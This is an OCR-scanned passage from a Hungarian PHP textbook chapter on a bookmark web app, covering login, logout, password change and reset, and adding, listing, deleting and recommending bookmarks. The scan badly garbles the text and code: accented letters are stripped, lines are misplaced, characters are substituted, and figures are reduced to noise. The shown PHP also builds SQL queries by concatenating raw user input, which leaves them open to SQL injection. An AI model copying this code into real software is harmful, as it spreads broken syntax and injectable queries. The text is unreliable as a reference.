

function bejelentkezes($felhasznaloi_nev, $jelszo)

ll felhasznli nv s jelsz sszevetse az adatbzissal ll ha rendben van,


visszatrsi rtke true

27

404

27. fejezet

ll egybknt kivtelt vlt ki ll kapcsolds az adatbzishoz $kapcsolat = adatbazishoz kapcsolodas(); ll felhasznli nv egyedisgnek ellenrzse $eredmeny
=

$kapcsolat->query("select and jlsz

from felhasznala shal('".$jelszo."')");

where felhasznaloi nev='".$felhasznaloi nev."'


=

if (!$eredmeny) { throw new Exception('Nem sikerlt belptetni.');

if ($eredmeny->num_rows>O) return true; else { throw new Exception('Nem sikerlt belptetni.');

Ahogy a kd mutaga, a bejelentkezes () fggvny kapcsoldik az adatbzishoz, s ellenrzi, hogy megtallhat-e ab ban a megadorr felhasznli nv s jelsz kombinci. Ha igen, akkor true rtkkel tr vissza, ha pedig nem, vagy a felhasz nli azonostkat nem sikerl ellenrizni, akkor kivtelt vlt ki. Az ervenyes_felhasznalo_ellenorzese () fggvny nem kapcsoldik jra az adatbzishoz, ehelyett azt nzi meg, hogy a felhasznl rendelkezik-e regisztrlt munkamenerrel- vagyis belpett-e mr. Ezt a fggvnyt a 27.13 pldakd tartalmazza. 27.13 pldakd: A felhasznaloi_hi telesites_fuggvenyek.php knyvtr ervenyes_felhasznalo_
ellenorzese ()fggvnye- Afggvny azt ellenrzi, rendelkezik-e afelhasznl rvnyes munkamenettel function ervenyes felhasznalo_ellenorzese () ll ellenrizzk,

{
s rtestsk, ha nem!

hogy a felhasznl bejelentkezett-e,

if ( 1sset($ SESSION['ervenyes felhasznala'] ) ) nven.<br l>"; else

echo "Bejelentkezve ".$_SESSION['ervenyes felhasznalo'] ." felhasznli

ll nincsenek bejelentkezve html focim_letrehozasa('Hiba: '); echo 'Nincs bejelentkezve.<br l>'; html_url_letrehozasa('bejelentkezes.php', html lablec_letrehozasa(); exit; 'Bejelentkezs');

Ha a felhasznl nincs bejelentkezve, a fggvny kzli vele, hogy az oldal megtekintshez be kell jelentkeznie, s felkinlja neki a belpsi oldalra mutat hivatkozst.

Kijelentkezs

27

A 27.6 brn lthat menben szrevehettk a Kijelentkezs felirat hivatkozst, amely a kijelentkezes.ph p kdra mutat. Ennek a fjlnak a kdjt a 27.14 pldakd tartalmazza.

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

405

27.14 pldakd: kijelent kezes.php-A


<?php

kd vget vet a felhasznl munkamenetnek

ll az alkalmazs fggvnyfjljainak beillesztse require_once('konyvjelzo fuggvenyek.php'); session_start(); $korabbi felhasznala ; $ SESSION['ervenyes felhasznalo']; ll eltroljuk, hogy megllapthassuk, be voltak-e jelentkezve

unset($_SESSION['ervenyes_felhasznalo']); $eredmeny_megsemmisit
=

session_destroy();

ll html kimenet elkezdse html_fejlec_letrehozasa('Kijelentkezs'); if (!empty($korabbi_felhasznalo)) if ($eredmeny_megsemmisit)

{
de most mr kijelentkeztek 'Bejelentkezs');

ll ha be voltak jelentkezve,
echo 'Kijelentkezve.<br l>';

html url_letrehozasa('bejelentkezes.php', else

ll be voltak jelentkezve, s nem lehet ket kilptetni


echo 'Nem lehet kilptetni.<br l>'; else

{
gy kijelentkezni sem tud.<br />'; 'Bejelentkezs');

ll ha nem voltak bejelentkezve, de valahogy erre az oldalra kerltek


echo 'Nem jelentkezett be, html_url_letrehozasa('bejelentkezes.php',

html lablec letrehozasa(); ?>

Ez a kd szintn ismersnek hathat. Ennek

az az

oka, hogy a fenti sorok a 23. fejezetben rt kdra plnek.

Jelszvltoztats
Ha a felhasznl a men Jelszvltoztats hivatkozsra kattint, a 27.7 brn lthat rlap jelenik meg bngszjben.

1{_

EN ....----. o" ..

..:-;;.;.;.;..;...;:;.;:..;::-=

:._.: t::Jl

PHPbookmark

Jelsz megvaltozutoisa
.. - ....... _

. . Ir.:. ....,
l!iaalllll -----

27
27.7 bra: A jelsze_valtoztatas_urlap. php

fjl ltal ellltott rlapon a jelszavukat vltoztathaljk meg a felhasznlk.

406

27. fejezet

Az rlapot a jelszo_valtoztatas_urlap.php kd lltja el. Ez nyeit hasznlja fel, gy rszleeesebben mosc nem foglalkozunk vele.

az

egyszer kd pusztn a kimeneti knyvtr fggv

Az rlap elkldsvel a 27.15 pldakdban lthat jelszo_valtoztatas. php kdot hvjuk meg.
27.15 pldakd: jelszo_valtoztatas.php-A
<?php require once('konyvjelzo_fuggvenyek.php'}; session start(}; html feJlee letrehozasa('Jelszvltoztats'};

kd megvltozialja a Jelhasznl jelszavt

ll rvid vltoznevek ltrehozsa


$elozo_jlsz
=

$_POST['elozo_jlsz');

$UJ_jlsz = $ POST['uj_jlsz'); $uj jlsz2 $_POST['uj jlsz2');

try

ervenyes felhasznalo_ellenorzese(}; if (1kitoltott($ POST}}

{
Krjk, prblja meg jra!'};

throw new Exception('Nem megfelelen tlttte ki az rlapot.

if

($uj jlsz

!= $uj_jlsz2}

throw new Exception('Az j jelszk nem egyeznek meg. A jelszvltoztats nem trtnt meg.};

f ((strlen($UJ jlsz} > 16}

l l

(strlen($uj jlsz} < 6}}

throw new Exception('Az j jelsz hossznak 6 s 16 karakter kz kell esnie. Prblja meg jra!'};

ll prblkozs a jelszvltoztatsra
jelszo_valtoztatas($ SESSION['ervenyes felhasznalo'), echo 'A jelszt megvltoztattuk. '; $elozo jlsz, $uj jlsz};

catch (Exception $e}

echo $e->getMessage(};

jelszo_urlap_megjelenitese(}; felhasznaloi_menu_megjelenitese(}; html lablec_letrehozasa(}; ?>

A fenti kd

az

ervenyes_ felhasznala _ellenorzese (})fggvny segtsgvel ellenrzi, hogy a felhasznl be van-e

jelentkezve, a kitoltott (} fggvny hasznlatval meggyzdik arrl, hogy kitlttte-e a jelsz-vltoztarsi rlapot, illetve ellenrzi, hogy a felhasznl mindktszer ugyanazt adta-e meg j jelszknt, s ez az j jelsz megfelel hosszsg-e. Ezek

27

egyike sem jdonsg szmunkra. Ha minden jl megy, a kd meghvja a jelszo_val toztatas (} fggvnyt az albbi for mban:
Jelszo_valtoztatas($_SESSION['ervenyes felhasznalo'), echo 'A jelszt megvltoztattuk.'; $elozo_jlsz, $uj_jlsz};

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

407

A fggvny a felhasznaloi_hitelesites_fuggvenyek.php knyvtrban tallhat, kdjt pedig a 27.16 pldakd tartalmazza.

27.16 pldakd: A felhas znaloi_hitelesites_fuggvenyek.php knyvtr jelszo_valtoztatas () fggvnye A fggvny mdoslja az adatbzisban a Jelhasznl jelszavt
function jelszo_valtoztatas($felhasznaloi_nev, $elozo jelszo, $uj_jelszo)

ll az adott felhasznli nvhez tartoz jelsz megvltoztatsalelozo_jelszo -> uj_jelszo ll visszatrsi rtke true vagy false ll ha az elz jelsz rendben van, ll cserlje a jelszt uj_Jelszo-ra, s trjen vissza true rtkkel!
ll eltr esetben vltson ki kivtelt! bejelentkezes($felhasznaloi_nev, $elozo_jelszo); $kapcsolat = adatbazishoz_kapcsolodas(); $eredmeny = $kapcsolat->query("UPDATE felhasznala SET jlsz=shal('".$UJ if (!$eredmeny) else jelszo."') '".$felhasznaloi_nev."'"); WHERE felhasznaloi nev =

throw new Exception('A jelszt nem lehetett megvltoztatni. ');

{
ll sikeresen megvltoztatva

return true;

A fggvny a korbban mr megismert bejelentkezes( ) fggvny segtsgvel ellenrzi, hogy a felhasznl ltal meg adott elz jelsz helyes volt-e. Amennyiben igen, a fggvny csatlakozik az adatbzishoz, s az j rtknek megfelelen m dostja a jelszt.

Elfelejtett jelsz visszalltsa


A jelszavak megvltoztatsn tlmenen azt a gyakori helyzetet is kezelnnk kell, arnikor a felhasznl elfelejti jelszavt.
Abejelentkezes. php ltal ellltott nyitoldalon lthatjuk az Elfelejtette jelszavt? felirat hivatkozst,

amely pontosan az ilyen helyzetbe kerl felhasznJk miatt szerepel ott. A hivatkozs az elfelejtett_urlap. php nev kdhoz viszi a felhasznlt, ami a kimeneti fggvnyek hasznlatval megjelenti a 27.8 brn lthat rlapot.

_!?= ",
PHPbookmark Jetsz viaazaiHtasa

--

. -v::J;-1!:

=-i..

27.8 bra: Az elfelejtett_urlap.php kd ltal megjelentett rlapon a Jelhasznlk jjelszt krhetnek, amit elkldnk nekik.
Az elfelejtett_urlap. php kd rendkvl egyszer- pusztn csak a kimeneti fggvnyeket hasznlja-, ezrt rszle resen nem is foglalkozunk vele. Az rlap elkldse az elfelejtett_jelszo.php kdot hvja meg, ami mr sokkal rdeke sebb szmunkra. A kdot a 27.17 pldakd tartalmazza.

27

408

27.fezet

27.17 pldakd: elfelejtett_jelszo.php -A

kd vletlenszer rtkre lllja t aJelhasznlje/szavt, s elkldi neki

e-mailben
<?php require_once("konyvjelzo fuggvenyek.php"); html fejlee letrehozasa("Jelsz tllitsa");

ll rvid vltoznv ltrehozsa $felhasznaloi_nev $ POST['felhasznaloi_nev'];

try

{
=

$jelszo

jelszo atallitasa($felhasznaloi_nev); $jelszo);

jelszo_ertesites($felhasznaloi_nev, echo

'j jelszavt elkldtk e-mailben.<br l>';

catch (Exception $e) echo 'Jelszavt nem lehetett tllitani - krjk, prblja meg ksbb!';

html_url letrehozasa('bejelentkezes. php', html_lablec_letrehozasa(); ?>

'Bejelentkezs');

Lthatjuk, hogy a kd kt fontos fggvny segtsgvel ltja el feladatt. Ez a kt fggvny a jelsz o_a tallitasa () s a jelszo_ertesites(). Vizsgljuk meg ezeket egyenknt!
A jelszo_atallitasa() fggvny vletlenszer jelszt llt el a felhasznl szmra, majd eltrolja az adatbzisban. A fggvny kdjt a 27.18 pldakd tartalmazza.

27.18 pldakd: A felhasznaloi_hitelesites_fuggvenyek.php


Afggvny

knyvtr j elszo_atalli tasa ()fggvnye

vletlenszer rtkre lllja t aJelhasznljelszavt.

function Jelszo atallitasa($felhasznaloi nev) ll a felhasznli nvhez tartoz jelsz vletlenszer rtkre llitsa ll visszatrsi rtke az j jelsz, hiba esetn false

ll vletlenszer sztri sz 6 s 13 karakter kztti hosszsgban $uj Jelszo


=

veletlen szo eloallitasa(6,

13);

if($uj jelszo == false)

throw new Exception('Nem sikerlt j jelszt generlni.');

ll adjunk hozz egy O s 999 kztti szmot, ll hogy valamivel biztonsgosabb legyen a jelsz! $veletlen szam = rand(O, $uj jelszo
.=

999);

$veletlen szam;

ll a felhasznl jelszavnak bellitsa az adatbzisban ll hiba esetn false visszatrsi rtk $kapcsolat = adatbazishoz_kapcsolodas(); $eredmeny
=

$kapcsolat->query("UPDATE felhasznalo SET Jlsz=shal('".$uj Jelszo."')

27

WHERE felhasznaloi nev='".$felhasznaloi_nev."'"); if (' $eredmeny)

{
ll nincs megvltoztatva

throw new Exception('Nem sikerlt megvltoztatni a jelszt.');

l else {

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

409

return $uj_jelszo;

ll sikeresen megvltoztatva

A jelszo_atallitasa() fggvny vletlenszer jelszt llt el gy, hogy a veletlen_szo_eloallitasa() fgg vny segtsgvel vletlenszeren keres egy szt a sztrban, majd egy O s 999 kztti vletlen szmot rak a vgre. A 27.19 pldakdban lthat veletlen_szo_eloallitasa () fggvnyt is a felhasznalc _hitelesites_fuggvenyek.
php knyvtrban talljuk.

27.19 pldakd: A felhasznaloi_hitelesites_fuggvenyek. php knyvtr veletlen_szo_eloallitasa ()

fggvnye

A fggvny vletlenszeren vlaszt egy szt a jelszavak ellltshoz hasznlt sztrbl


$max_hossz)

function veletlen_szo_eloallitasa($min_hossz,

ll a kt hosszsgi rtk kz es sz vletlen kivlasztsa a sztrbl ll ez a sz a fggvny visszatrsi rtke ll a sz vletlenszerv ttele Sszo
= '

';

ll ne felejtsk el az elrsi tvonalat rendszernknek megfelelen tlltani! $szotar $fp


= =

'hungarian.txt'; 'r');

ll az ispell sztr

@fopen($szotar,

if(!$fp)

return false;

$meret

filesize($szotar);

ll menjnk a sztr vletlenszer helyre! $veletlen_hely fseek($fp,


=

rand(O,

$meret);

$veletlen_hely);

ll vlasszuk ki a fjlban kvetkez, while ((strlen($szo) (strstr($szo, "'")))


<

megfelel hosszsg,

teljes szt!

$min_hossz)

l l

(strlen($szo)>$max_hossz)

l l

if (feof($fp)) fseek($fp,

0);

ll ha a vgn vagyunk,

ugorjunk az elejre!

$szo $szo $szo

fgets($fp, fgets($fp,

80); 80);

ll hagyjuk ki az els szt, ll a potencilis jelsz

mert lehet tredk is!

trim($szo);

ll a trim fggvnnyel tiszttsuk meg az fgets-bl rkez llszt az esetlegesen hatrol szkz- s sor vge jelektl!

return $szo;

A veletlen_szo_eloallitasa() fggvny mkdshez sztrra van szksg. Ha Unix rendszerr hasznlunk, az ispel! beptett helyesrs-ellenrzhz tartozik egy sztr, ami jellemzen a lus rldict l wor ds vagy a lusrlsharel
dictlwords elrsi tvonalon tallhat. Jelen esetben
az

elst hasznltuk. Ha egyik helyen sem talljuk, a kvetkez utastst

begpelve derthetjk ki az elrsi tvonalat:


$ locate dictlwords

Akkor sincs ok az aggodalomra, ha msrnlyen rendszert hasznlunk, vagy nem szetetnnk telepteni az ispellt. Az ispel! ltal hasznlt szlista letlthet a http://wordlist.sourceforge.net/ oldalrl. Az oldalon ms nyelv sztrakat is tallunk, gy ha - mondjuk - norvg vagy eszperant nyelven van szksgnk a vletlenszeren kivlasztott szavakra, akkor ezeket a sztrakat kell letltennk. Ezek a fjlok soronknt egy-egy szt tartalmaznak, a sorok pedig jsor karakterekkel vannak elvlasztva egymstl. Ha vletlenszeren szetetnnk kivlasztani

27

410

27. fejezet

ebbl a fjlbl egy szt, hatrozzunk meg egy pontot a O s a fjlmret kzrr, s onnan olvassuk ki a fjl adatt! Ha ettl a vletlenszeren meghatrozott ponttl a kvetkez j sorig olvasunk, akkor nagy valsznsggel tredkszt kapunk, ezrt az fgets () fggvny ktszeri meghvsval hagyjuk ki azt a sort, amelynl megnyitottuk a fjlt, s az azt kvet sorban lv szt vlasszuk ki! A fggvny kt apr trkkt hasznl. Az els, hogy ha keress kzben elrjk a fjl vgt, visszaugrunk az elejre:
if (feof($fp)) fseek($fp,

{ ll ha a vgn vagyunk,
ugorjunk az elejre!

0);

A msodik, hogy lehetsget ad meghatrozott hosszsg sz keressre: a sztrbl kivlasztott minden szt ellenr znk, s ha hossza nem a $min_hossz s $max_hossz rtk kz esik, akkor folytatjuk a keresst. Az aposztrfot tartalma z szavakat is kihagyjuk. Ugyan a sz hasznlatakor vdkarakterrel lthatnnk el az aposztrfot, sokkal knnyebb egyszeren a kvetkez szt vlasztani. Visszatrve a jelszo_atallitasa() fggvnyre, az j jelsz ellltsa utn azt eltroland mdostjuk az adatbzist, s az j jelszval trnk vissza f kdunkhoz. Majd ezt
az

j jelszt tadjuk a j elszo _ertesites () fggvnynek, amely pedig

elkldi azt e-mailben a felhasznlnak. A jelszo_ertesites ()fggvnyt a 27.20 pldakdban lthatjuk. 27.20 pldakd: A felhasznaloi _hitelesites_fuggvenyek.php A fggvny

knyvtr jelszo_ertesites() fggvnye

elkldi afelhasznlnak az j jelszavt


$jelszo)

function Jelszo_ertesites($felhasznaloi nev,

ll rtesti a felhasznlt,

hogy jelszava megvltozott

$kapcsolat = adatbazishoz kapcsolodas(); $eredmeny = $kapcsolat->query("SELECT email FROM felhasznala WHERE felhasznaloi_nev='".$felhasznaloi_nev."'"); if

(! $eredmeny) {
else if ($eredmeny->num_rows == 0)

throw new Exception('Nincs ilyen e-mail cm.');

throw new Exception('Nincs ilyen e-mail cm.');

ll a felhasznli nv nem tallhat az adatbzisban


else

$sor = $eredmeny->fetch_object(); $email = $sor->email; $felado "Felado: support@phpbookmark \r\n"; ".$jelszo."\r\n"

$uzenet = "Az j PHPBookmark jelszava: ."Krjk, if (mail($email, return true; else

kvetkez bejelentkezskor vltoztassa meg.\r\n"; $uzenet, $felado))

'PHPBookmark bejelentkezsi adatok',

throw new Exception('Nem sikerlt e-mailt kldeni.');

Ha megvan a felhasznli nv s az j jelsz, a jelszo_ertesites() fggvnnyel egyszeren kikeressk az adatbzisbl a felhasznl e-mail cmt, majd a PHP mail () fggvnye segtsgvel elkldjk oda. Biztonsgosabb lenne a felhasznlknak valban vletlenszer, kis- s nagyberk, szmok s rsjelek tetszleges kombin cijbl ll jelszt adni, mint egy vletlenszeren kivlasztott sz s szm kombincijt. A felhasznlk szmra azonban a teljes mrtkben vletlenszer jelszavaknl knnyebben olvashat s kezelhet egy olyan, mint amilyen a cikkcakk 4 8 7.

27

A vletlenszer karakterlncokban sok esetben problms a felhasznlknak megllaptani, hogy O (nulla) vagy (egy) vagy l (kis L) szerepel.

O (nagy O), l

A rendszernkn lv sztrfjl krlbell 45 OOO szt tartalmaz. Ha egy cracker rudn, hogy milyen algoritmussal lltor tuk el a jelszavakat, s mg egy felhasznli nevet is ismerne, akkor is tlagosan 22 500 OOO jelszt kellene kiprblnia ahhoz,

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

411

hogy eltallja krjk.

az

igazit. Egy ilyen jelleg alkalmazsnl megfelelnek tnik ez a szint biztonsg, s ez mg akkor is igaz, ha

a felhasznl figyelmen kvl hagyja az e-mailben szerepl tancsunkat, amiben az ltalunk elkldtt jelsz megvltoztatsra

Knyvjelzk trolsa s visszakeresse


Most, hogy vgeztnk a felhasznli fikkal kapcsolatos funkcikkal, tovbblphetnk, s megvizsglhatjuk, hogyan trolhat juk, kereshetjk vissza s trlhetjk a felhasznJk knyvjelzit.

Knyvjelzk hozzadsa
A felhasznJk az oldal aljn lthat men KJ hozzadsa hivatkozsra kattintva vehemek fel j knyvjelzket. A linkre kattintva a 27.9 brn lthat rlaphoz jutnak.

- - -- - s::r ; 7 ;!
PHPbookmark KOnyvjelz6tl: hou.iadasa ..---

__,..,.,_

27.9 bra: A kj_hozzaactasa _urlap.ph p kd ltal ellltott rlappal a Jelhasznlk

knyvjelzket adhatnak hozz sajt olda/aikhoz.


Mivel a kj_hozzaadasa_urlap.php kd igen egyszer, s pusztn a kmeneti fggvnyeket hasznlja, eltekntnk rszletes bemutatsrl. Az rlap elkldsvel a kj_hozzadasa.php kdot hvjuk meg, ami viszonr a 27.21 pldakdban lthat.
27.21 pldakd: kj _hozzadasa.php -A kd j knyvjelzket ad a Jelhasznl szemlyes oldalhoz
<?php require_once('konyvJelzo fuggvenyek.php'); session start(); ll rvid vltoznv ltrehozsa Suj_url = S_POST['uj_url'); html fejlee letrehozasa('Konyvjelzk hozzadsa'); try

{ {

ervenyes_felhasznalo_ellenorzese(); if (!kitoltott($ POST)) throw new Exception('Az rlap nincs teljesen kitltve.');

ll URL formtumnak ellenrzse if (strstr($uj url, $uj_url


=

'http:ll') === false)

'http:ll'.$uj_url;

412

27.fgezet

ll URL rvnyessgnek ellenrzse if (!(@fopen($uj_url, 'r')))

throw new Exception('rvnytelen URL.');

ll megprblja hozzadni az j knyvjelzt kj_hozzaadasa($uj_url); echo 'Knyvjelz hozzadva.';

ll a felhasznl ltal elmentett knyvjelzk lekrse if ($url tomb = felhasznaloi_url_lekerdezese($_SESSION['ervenyes felhasznalo'])) felhasznaloi_url_megjelenitese($url_tomb);

catch (Exception $e)

echo $e->getMessage();

felhasznaloi_menu_megjelenitese(); html lablec letrehozasa(); ?>

Ez a kd is a felhasznli adat ellenrzse - adatbzisban eltrolsa - kimenet ksztse smt kveti. Az ellenrzs rdekben elszr is arrl kell a kitoltott () fggvny segtsgvel meggyzdni, hogy a felhasznl kitl ttte-e az rlapot. Ezt kveten az URL-t ellenrizzk kt szempontbL Elszr az strstr () fggvnnyel megnzzk, hogy
http: ll-vel kezddik-e. Amennyiben nem, hozzadjuk azt az URL-hez. Ha ezzel megvagyunk, ellenrizzk, hogy az URL

valban ltezik-e. A Hlzati s protokollfggvnyek hasznlata cm 20. fejezetbl emlkezhetnk, hogy az fopen () fggvny nyel nyithatunk meg http: ll-vel kezdd URL-eket. Ha meg tudjuk nyitni
az az

oldalt, akkor sszeren felttelezhetjk, hogy

URL rvnyes, s a kj_hozzaadasa () fggvnyt meghvva hozzadjuk az adatbzishoz. Ezt s a knyvjelzkkel kapcsolatos tbbi fggvnyt
az

url_ fuggveny ek.php fggvnyknyvtrban talljuk. A kj_

hozzaadasa () fggvny kdjt a 27.22 pldakd mutatja.

27.22 pldakd: Az url_ fuggvenyek. php knyvtr kj_hozzaadasa() fggvnye- A fggvny j knyvjelzket ad az

adatbzishoz
function kj_hozzaadasa ($uj_url)

ll j knyvjelz hozzadsa az adatbzishoz

echo "A ".htmlspec1alchars($uj url)." hozzadsa<br l>"; $ervenyes felhasznala


=

$ SESSION['ervenyes felhasznalo'];

$kapcsolat = adatbazishoz kapcsolodas();

ll ellenrizzk,

hogy nem ismtld knyvjelz-e


*

$eredmeny = $kapcsolat->query("SELECT

FROM konyvjelzo

WHERE felhasznaloi_nev='$ervenyes felhasznalo' AND kj URL='".$uj_url."'");

if ($eredmeny && ($eredmeny->num_rows>0))

throw new Exception('Mr ltez knyvjelz.');

27

ll j knyvjelz hozzadsa az adatbzishoz if (!$kapcsolat->query("INSERT INTO 'konyvjelzo' ( 'felhasznalo1_nev' VALUES ('".$ervenyes_felhasznalo."', , 'kj URL' )

'".$uj url."');"))

throw new Exception('A knyvjelz hozzadsa nem sikerlt.');

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

413

return true;

A kj_hozzaadasa() fggvny viszonylag egyszer. Ellenrzi, hogy az adatbzisban a felhasznlnl nem szerepel-e mr ugyanez a knyvjelz. (Br nem valszn, hogy a felhasznJk ktszer felvinnnek egy knyvjelzt, az lehetsges, st valsz n, hogy frissthetik
az

oldalt.) Az j knyvjelzk bekerlnek

az

adatbzisba.

Visszatrve a kj_hozzaad.php kdhoz, lthatjuk, hogy utols lpse ugyanaz, mint a tag.ph p fjlnak: a felhasznaloi _url_lekerdezese () s a felhasznaloi _url_megjeleni tese () fggvny meghvsa. A kvetke zkben ezt a kt fggvnyt vizsgljuk meg.

Knyvjelzk megjelentse
A tag. php kd s a kj_hozzaadasa() fggvny is hasznlja a felhasznaloi_url_lekerdezese () s a felhasznaloi_url_megjeleni t ese () fggvnyt. Ezek kikeresik az adatbzisbl, illetve megjelentik a felhasznl knyvjelzit. A felhasznaloi _url_lekerdezese () fggvny az url_fuggvenyek. php, a felhasznaloi_url_
megjelenitese ( ) fggvny pedig a kimeneti_ fuggvenyek.php knyvtrban tallhat.

A felhasznaloi_url_lekerdezese() fggvnyt a 27.23 pldakd mutatja. 27.23 pldakd: Az url_ fuggvenyek. ph p knyvtr felhasznaloi _url_lekerdezese ()fggvnye- Afggvny kikeresi az adatbzisbl afelhasznl knyvjelzit
function felhasznaloi_url_lekerdezese($felhasznaloi_nev)

ll a felhasznl ltal elmentett URL-ek kinyerse az adatbzisbl


$kapcsolat = adatbazishoz_kapcsolodas(); $eredmeny = $kapcsolat->query("SELECT kj_URL FROM konyvjelzo WHERE felhasznaloi nev if '".$felhasznaloi_nev."'");

(! $eredmeny)

return false;

ll URL-ek tmbjnek ltrehozsa


$url_tomb = array(); for ($szamlalo = l; $sor = $eredmeny->fetch_row();
=

++$szamlalo)

$url_tomb[$szamlalo]

$sor[0];

return $url_tomb;

Haladjunk vgig rviden a felhasznaloi_ url_lekerdezese () fggvny lpsein l Paramterknt a felhasznli nevet vrja, majd visszakeresi az adatbzisbl az adott felhasznlhoz tartoz knyvjelzket. Az ezeket az URL-eket tartalmaz tmbbel vagy- amennyiben a knyvjelzk nem visszakereshetk-false rtkkel tr vissza. A felhasznaloi_url_lekerdezese() fggvnybl szrmaz tmbt a felhasznaloi_url_megjelenitese () fggvnynek adjuk t. Ez megint csak egy egyszer, HTML kimenetet elllt fggvny, amely szp tblzacos formban jelenti meg a felhasznl knyvjelzit, gy ezzel sem foglalkozunk most rszletesebben. A 27.6 brn lthatjuk, hogy milyen kimenetet llt el. A fggvny igazbl rlapba teszi az URL-eket. Minden URL mellett egy jellngyzetet tallunk, ami lehetv teszi a felhasznlnak, hogy trlendknt ki jellje adott knyvjelzjt. A most kvetkez rszben pontosan a trls funkcit tekintjk t.

27

414

27. fejezet

Knyvjelzk trlse
Amikor a felhasznl trlsre kijelli egy vagy tbb knyvjelzjt, majd a men KJ tr lse hivatkozsra kattint, elkldi az URL-eket tartalmaz rlapot. A jellngyzeteket a felhasznaloi_url_megjeleni tese ( ) fggvny albbi kdja llrja el:
echo "<tr bgcolor=\"".$szin."\"><td><a href=\"".$url."\">".htmlspecialchars($url)."</a></ td> <td><input type=\"checkbox\" name=\"torolJ value=\"".$url."\"/></td> </tr>"; engem[]\"

Minden inputnak torolj_engem[l a neve. Ez azt jelenti, hogy az rlap ltal meghvotr PHP kdban egy $torol j_
engem nev tmbt rhetnk el, amely az sszes trlend knyvjelzt tartalmazza.

A KJ trlse hivatkozsta kattintva meghvdik a kj_torlese. php kd, amit a 27.24 pldakdban lthatunk.
27.24 pldakd: kj_torlese.php-A kd knyvjelzket trl az adatbzisbl
<?php require once('konyvjelzo_fuggvenyek.php'); session start();

ll rvid vltoznevek ltrehozsa


$torolj_engem = $_POST['torolj_engem']; Servenyes felhasznala = $ SESSION['ervenyes felhasznalo']; html_fejlec_letrehozasa('Konyvjelzk trlse'); ervenyes felhasznalo_ellenorzese(); if (!kitoltott($ POST)) Krjk,

echo '<p>Egyetlen knyvjelzt sem jellt ki trlsre.<br/> prblja meg jra!</p>'; felhasznaloi_menu_megjelenitese(); html lablec letrehozasa(); exit; else { if (count($torolJ engem) > 0)

{ {
$url))

foreach($torolj_engem as $url) echo else

if (kj_torlese($ervenyes felhasznalo,
'A

'.htmlspecialchars($url).' knyvjelzt trltk.<br />';

echo 'Nem sikerlt trlni a '.htmlspecialchars($url).' knyvjelzt.<br />';

else echo 'Nincs trlsre kijellt knyvjelz';

ll a felhasznl ltal elmentett knyvjelzk lekrse


if ($url_tomb
=

felhasznaloi_url_lekerdezese($ervenyes_felhasznalo))

felhasznaloi_url_megjelenitese($url tomb);

27
?>

felhasznaloi_menu_megjelenitese(); html_lablec letrehozasa();

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelemtse

415

A kd elejn elvgezzk a szoksos ellenrzsekec. Ha kiderl, hogy a felhasznl egyes knyvjelzit kijellte crlsre, a k vetkez ciklussal trljk ki azokat:
foreach($torolj_engem as $url)

{
$url))

if (kj torlese($ervenyes felhasznalo, echo 'A else echo 'Nem sikerlt trlni a

{
l>';

'.htmlspecialchars($url).' knyvjelzt trltk.<br

'.htmlspecialchars($url) .' knyvjelzt.<br l>';

Lthat, hogy a kj_torlese () fggvny vgzi el a knyvjelz adatbzisbl kitrlsnek tnyleges munkjt. A fggvnye
a

27.25 pldakdban tallj uk.

27.25 pldakd: Az url_ fuggvenyek. php knyvtr kj_torlese() fggvnye- A fggvny egyetlen knyvjelzi trl afel

hasznl listjrl
function kj torlese($felhasznalo, $url)

ll egy URL trlse az adatbzisbl


$kapcsolat = adatbazishoz kapcsolodas();

ll a knyvjelz trlse
if (!$kapcsolat->query("DELETE FROM konyvjelzo WHERE felhasznaloi_nev='".$felhasznalo."' AND throw new Exception('A knyvjelz nem trlhet'); kj_URL='".$url."'"))

return true;

Lthatjuk, hogy a kj_torlese() is egy viszonylag egyszer fggvny. Megksrli kitrlni az adatbzisbl trlni, hiszen a tbbi felhasznl ettl fggetlenl megrizheti az erre
az

az

adott fel

hasznl ltal kijcllc knyvjelzt. Jegyezzk meg, hogy ebben az esetben adott felhasznli nv - knyvjelz prt kivnunk URL-re mutat knyvjelzjt! A 27.10 brn egy, a crlst vgz kd futtatsa ltal eredmnyezett, lehetsges kimenetet lthatunk .

IK.I.J-.1 -

27.10 bra: A trlst vgrehajt kd tjkoztatja a trlt knyvjelzk fe/hasznljt, majd megjelenti megmaradt knyvjelzit.

Akrcsak a kj_hozzadasa.php kdban, az adatbzison vgrehajtott mdostsok utn itt is a felhasznaloi_url_


lekerdezese()

s a felhasznaloi_url_megjelenitese () fggvny segtsgvel jelentjk meg az j knyvjelzlistt.

27

416

27.fezet

Knyvjelzk ajnlsa
Immr kszen llunk a knyvjelzk ajnlsr megvalst ajanlas.php kd megrsra.Tbbfle megkzeltst alkalmaz hatnnk az ajnlsokhoz.A pldban tnylegesen megvalstort mdszer a kzs rdekldsen alapul. Ennek megllaptshoz olyan felhasznlkat keresnk, akiknek az adott felhasznlval legalbb egy kzs knyvjelzjk van. Azt felttelezzk, hogy ezeknek a felhasznlknak a tbbi knyvjelzi is szmot tarthatnak az adott felhasznl rdekldsre. SQL lekrdezsknt ezt legegyszerbben egymsba gyazort lekrdezsek hasznlatval valsthatjuk meg.Az els egyms ba gyazott lekrdezs a kvetkezkppen nz ki:
SELECT DISTINCT(b2.felhasznaloi_nev) FROM konyvjelzo bl, konyvjelzo b2

WHERE bl.felhasznaloi nev='".$ervenyes felhasznalo."' AND bl.felhasznaloi nev != b2.felhasznaloi nev

AND bl.kj_URL = b2.kj_URL)

Ez a lekrdezs aliasok segtsgvel kapcsolja ssze az adatbzis konyvjelzo tbljt nmagval- ami kicsit furcsn hangzik, de esetenknt kivl szolglatot tehet szmunkra. Kpzeljk el, hogy lnyegben kt konyvjelzo tblnk van, az egyiknek bl, a msiknak b2 a neve! A bl tblban megkeressk az akrulis felhasznlt s a knyvjelzit. A msik tblban az sszes tbbi felhasznl knyvjelzit nzzk. Olyan felhasznlkat ( b2.felhasznaloi _nev) keresnk, akiknek az aktu lis felhasznlval kzs URL-jk van ( b l. kj_URL = b2.kj_URL), s akik nem azonosak az akrulis felhasznlval ( b l.
felhasznaloi_nev ! = b2.felhasznaloi_nev) .

Ez a lekrdezs az akrulis felhasznlhoz hasonl rdeklds emberek listjt eredmnyezi. A lista birtokban kls le krdezssel kereshetnk ezen felhasznlk tbbi knyvjelzje kztt:
